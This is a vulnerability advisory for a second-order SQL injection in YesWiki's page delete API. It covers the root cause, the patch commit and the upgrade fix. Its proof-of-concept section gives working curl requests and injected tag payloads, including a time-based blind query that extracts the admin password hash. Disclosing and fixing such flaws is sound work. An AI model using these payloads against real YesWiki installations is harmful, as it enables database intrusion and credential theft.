CVE-2026-52771: YesWiki Second-Order SQL Injection in Page Delete API
A low-privilege authenticated user can create a wiki page with a SQL-laden tag, then trigger a delete request that injects that tag unescaped into a live database query, exposing all data the wiki dat
The problem
YesWiki versions 4.2.0 through 4.6.5 contain a second-order SQL injection in `ApiController::deletePage()`. The route `DELETE /api/pages/{tag}` is accessible to any authenticated user (ACL `"+"`).
The sink is at `ApiController.php` line 626: after reading the page record back from the database, the raw stored tag is interpolated directly into `DELETE FROM {prefix}links WHERE to_tag = '$tag'` with no escaping. Because the `INSERT` path does escape the tag correctly, the malicious value is stored intact and survives every input-validation check, only detonating when read back and reused in this query.
Proof of concept
A working proof-of-concept for CVE-2026-52771 in yeswiki/yeswiki, with the exact payload below.
# Step 1: plant the evil page tag (as any authenticated user)
curl -s -b cookies.txt -X POST \
'http://TARGET/?api/pages/SleepTag%27%20OR%20SLEEP%282%29--%20' \
--data-urlencode 'body=poc'
# Step 2: make the evil page non-orphaned via a second page that includes it
# (edit any page so its body contains the include directive below)
# Body: {{include page="SleepTag' OR SLEEP(2)-- "}}
# Step 3: trigger the injection via DELETE (baseline ~0.4s, exploit ~2.5s)
curl -s -b cookies.txt -X DELETE \
'http://TARGET/?api/pages/SleepTag%27%20OR%20SLEEP%282%29--%20'
# Resulting SQL executed at line 626 of ApiController.php:
# DELETE FROM yeswiki_links WHERE to_tag = 'SleepTag' OR SLEEP(2)-- '
# ^^^^^^^^^^^^^^^^^^^^
# injected SQL fragment
# Time-based blind exfiltration example (read first char of admin password hash):
# Tag value: x' OR IF(ASCII(SUBSTRING((SELECT password FROM yeswiki_users LIMIT 1),1,1))=121,SLEEP(2),0)--
# Elapsed ~2.5s confirms the byte value is 121 ('y')The root cause is CWE-89: the code reads `$tag = $page['tag']` directly from a database row and concatenates it into SQL without calling `DbService::escape()`. The INSERT path (via `PageManager::save()`) does escape correctly, so the malicious single quote is stored verbatim, bypassing any first-order input check.
The patch commit `23d3cc124613b9428ab963b31807c08879a9c631` wraps the tag through `DbService::escape()` before building the DELETE and SELECT queries in `ApiController::deletePage()`, `tools/tags/handlers/page/__deletepage.php`, and `handlers/page/deletepage.php`, closing all three identified sinks.
The same anti-pattern existed in all three files, confirmed in the original report.
The fix
Upgrade to YesWiki 4.6.6. The patch (commit `23d3cc1`) passes `$tag` through `$dbService->escape()` before interpolating it into the `DELETE FROM …_links WHERE to_tag` query, and applies the same fix to the two adjacent handler files. No configuration workaround exists for earlier versions; update is the only remediation.
Related research
- high · 7.5CVE-2026-52770CVE-2026-52770: YesWiki Bazar API Unauthenticated Boolean-Based SQL Injection
- high · 8.3CVE-2026-52769CVE-2026-52769: YesWiki Unauthenticated SSRF via ActivityPub Signature keyId
- critical · 9.8CVE-2026-52778CVE-2026-52778: YesWiki CalcField Unsafe eval() Remote Code Execution and ReDoS
- highCVE-2026-56382: Craft CMS RCE via Yii2 Event Handler Injection in FieldsController